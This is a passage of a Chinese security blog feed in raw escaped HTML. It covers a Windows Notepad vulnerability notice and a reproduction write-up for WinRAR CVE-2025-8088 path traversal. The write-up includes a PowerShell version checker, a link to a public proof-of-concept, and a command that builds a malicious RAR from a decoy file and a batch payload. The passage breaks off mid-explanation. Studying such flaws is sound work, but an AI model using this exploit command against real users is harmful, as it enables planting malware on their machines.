63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞介绍&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2026年2月12日，微软发布安全通告，确认Windows系统内置的记事本程序存在一个高危安全漏洞，编号为CVE-2026-20841。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞原理&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&amp;quot;PingFang SC\&amp;quot;, Cambria, Cochin, Georgia, Times, \&amp;quot;Times New Roman\&amp;quot;, serif;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;该漏洞在通用漏洞评分系统中的评分为8.8分（满分10分），核心危害是攻击者可通过恶意 Markdown文件诱导用户点击链接，实现远程代码执行并完全控制目标设备。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;影响版本&lt;/span&gt;&lt;/h3&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;apache&quot;&gt;&amp;nbsp;Windows&amp;nbsp;Notepad&amp;nbsp;11.0.0*&amp;lt;&amp;nbsp;11.2510&lt;/pre&gt;&lt;/section&gt;&lt;h3 style=&quot;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;修复建议&lt;/span&gt;&lt;/h3&gt;&lt;section style=&quot;box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;更新应用：前往MicrosoftStore，将Windows记事本升级至版本11.2510及以上。&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;谨慎操作：避免打开来源不明的Markdown文件，不点击文件中的未知链接。&lt;/span&gt;&lt;/section&gt;&lt;h3 style=&quot;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;复现POC&lt;/span&gt;&lt;/h3&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100004878&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212195553177089735311651.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100004879&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212195553177089735357720.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 19:55:26 +0800</pubDate></item><item><title>winrar CVE-2025-8088复现学习</title><link>https://www.7x0.cn/post/22.html</link><description>&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2025-8088&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;(CVSS 8.4)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;line-height: 2em;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;是一个新的高风险路径遍历漏洞 [&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 2em;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CWE-35&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 2em;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;] 在 WinRAR 7.12 及以下版本和相关组件包括 UnRAR.dll 中存在漏洞。该漏洞允许未经授权的攻击者将恶意文件复制到敏感目录，包括 Windows 启动文件夹，从而可以执行这些文件。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这又是一个关于winrar漏洞的CVE，我记得在前面7月份复现学习了一个《CVE-2025-6218 Poc复现及1Day研究》，也是winrar的，针对的版本是7.11，而这个8088针对的是7.12。半年时间连续发现2个遍历漏洞，winrar也是备受黑客的青睐。&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;一、检测winrar版本&lt;/span&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;先上一段ps1的代码，&lt;/span&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1ysd&quot; style=&quot;font-size: 14px;&quot;&gt;# Detects exposure to CVE-2025-8088 based on WinRAR.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x2ke&quot; style=&quot;font-size: 14px;&quot;&gt;# Vulnerable: WinRAR &amp;lt; 7.13 &amp;nbsp; (Patched: 7.13+)&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x99q&quot; style=&quot;font-size: 14px;&quot;&gt;Set-StrictMode -Version Latest&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1bvn&quot; style=&quot;font-size: 14px;&quot;&gt;$ErrorActionPreference = &amp;#39;Stop&amp;#39;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x16zh&quot; style=&quot;font-size: 14px;&quot;&gt;function info { param([string]$m) Write-Host &amp;quot;[i] $m&amp;quot; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1jaf&quot; style=&quot;font-size: 14px;&quot;&gt;function good { param([string]$m) Write-Host &amp;quot;[+] $m&amp;quot; -ForegroundColor Green }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xn9j&quot; style=&quot;font-size: 14px;&quot;&gt;function bad &amp;nbsp;{ param([string]$m) Write-Host &amp;quot;[-] $m&amp;quot; -ForegroundColor Red }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xa7b&quot; style=&quot;font-size: 14px;&quot;&gt;$fixedVersion = [version]&amp;#39;7.13.0&amp;#39;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xbsd&quot; style=&quot;font-size: 14px;&quot;&gt;# Common install locations&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1d84&quot; style=&quot;font-size: 14px;&quot;&gt;$candidates = @(&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xh6o&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; &amp;quot;$env:ProgramFiles\WinRAR\WinRAR.exe&amp;quot;,&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xonc&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; &amp;quot;${env:ProgramFiles(x86)}\WinRAR\WinRAR.exe&amp;quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xqma&quot; style=&quot;font-size: 14px;&quot;&gt;) | Where-Object { $_ -and (Test-Path $_) }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xkl&quot; style=&quot;font-size: 14px;&quot;&gt;if (-not $candidates) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1z66&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; $cmd = Get-Command &amp;#39;WinRAR.exe&amp;#39; -ErrorAction SilentlyContinue&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x25q&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; if ($cmd) { $candidates = @($cmd.Source) }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1wfy&quot; style=&quot;font-size: 14px;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xl1v&quot; style=&quot;font-size: 14px;&quot;&gt;if (-not $candidates) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1yuo&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; info &amp;quot;WinRAR not found. Nothing to check.&amp;quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x24ge&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; return&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xl4x&quot; style=&quot;font-size: 14px;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x3fq&quot; style=&quot;font-size: 14px;&quot;&gt;$entries = foreach ($p in $candidates) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x182z&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; $v = (Get-Command $p).FileVersionInfo.ProductVersion&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1zq0&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; [pscustomobject]@{ Path = $p; Version = $v; V = [version]$v }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x119n&quot; style=&quot;font-size: 14px;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x1cnp&quot; style=&quot;font-size: 14px;&quot;&gt;$winrar = $entries | Sort-Object V -Descending | Select-Object -First 1&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xmi6&quot; style=&quot;font-size: 14px;&quot;&gt;info (&amp;quot;WinRAR path: &amp;quot; + $winrar.Path)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xu5p&quot; style=&quot;font-size: 14px;&quot;&gt;info (&amp;quot;WinRAR version: &amp;quot; + $winrar.Version)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xfnn&quot; style=&quot;font-size: 14px;&quot;&gt;if ($winrar.V -lt $fixedVersion) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x7on&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; bad &amp;nbsp;&amp;quot;CVE-2025-8088 IS exploitable (WinRAR &amp;lt; 7.13).&amp;quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x10b9&quot; style=&quot;font-size: 14px;&quot;&gt;} else {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2x2210&quot; style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; good &amp;quot;CVE-2025-8088 is NOT exploitable (WinRAR &amp;gt;= 7.13).&amp;quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1ch2xf7o&quot; style=&quot;font-size: 14px;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;检测结果如图：&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130334176983581421293.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;768&quot; type=&quot;block&quot; data-imgfileid=&quot;100006686&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;说明我们的版本是7.12，以及winrar所在的路径位置；或者查看winrar版本，&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130334176983581445442.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;432&quot; type=&quot;block&quot; data-imgfileid=&quot;100006687&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;二、复现过程&lt;/span&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1、Exploit video:&lt;/span&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot;&gt;&lt;iframe class=&quot;video_iframe rich_pages wx_video_iframe&quot; style=&quot;border-radius: 4px;&quot; src=&quot;https://mp.weixin.qq.com/mp/readtemplate?t=pages/video_player_tmpl&amp;action=mpvideo&amp;auto=0&amp;vid=wxv_4356600201638166538&quot; referrerpolicy=&quot;no-referrer&quot; data-mpvid=&quot;wxv_4356600201638166538&quot; data-vidtype=&quot;2&quot; data-cover=&quot;http%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F2hnvgPYNzpIkXHicjDdq5Fibiam5L90icbTLYbwFYNppLOG7umUUaQvH7dDMBVTibRRLvUgkNGKenhV6gLqEpXzWAXg%2F0%3Fwx_fmt%3Djpeg&quot; data-w=&quot;1152&quot;&gt;&lt;/iframe&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2、PoC-Exploit：&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://mmbiz.qpic.cn/sz_mmbiz_gif/2hnvgPYNzpILc4w1gatufzUlFKQ6uohrR7fFTHCzECHpibhVTf1nnLq80Aia4SzcKSeGpaICYAJcib1KQT8b3icaicA/640?wx_fmt=gif&amp;from=appmsg&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img js_insertlocalimg max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;800&quot; type=&quot;block&quot; data-imgfileid=&quot;100006688&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3、poc下载&lt;/span&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt1zbm31hd7&quot; style=&quot;font-size: 14px;&quot; data-mpa-action-id=&quot;mkt1zbm91ftc&quot; data-pm-slice=&quot;0 0 []&quot;&gt;https://github.com/sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-?tab=readme-ov-file&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4、举例&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;（1）构建命令，&lt;/span&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mkt201xl98p&quot; style=&quot;font-size: 14px;&quot; data-mpa-action-id=&quot;mkt201xq16cl&quot; data-pm-slice=&quot;0 0 []&quot;&gt;python poc.py --decoy clib.txt --payload run_decode.bat --drop &amp;quot;C:\Users\Administrator\Desktop\CVE-2025-8088-WinRAR-PoC-Exploit&amp;quot; --rar &amp;quot;C:\Program Files\WinRAR\rar.exe&amp;quot;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;（2）参数含义：&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581510113.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006690&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;h2 style=&quot;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, system-ui, -apple-system, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, Cantarell, &amp;quot;Noto Sans&amp;quot;, sans-serif, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, sans-serif;scrollbar-color: rgba(0, 0, 0, 0.25) rgba(0, 0, 0, 0);margin: 0px 0px 16px;padding: 0px;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;font-size: 18px;line-height: 28px;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;letter-spacing: 0px;color: rgba(0, 0, 0, 0.9);orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该命令的实际效果&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;此命令将创建一个恶意RAR文件，其攻击流程如下：&lt;/span&gt;&lt;/p&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;读取文件&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;诱饵：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;clib.txt&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;（需存在于当前目录）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;载荷：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;run_decode.bat&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;（需存在于当前目录）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NTFS流附加&lt;/span&gt;&lt;/strong&gt;&lt;span 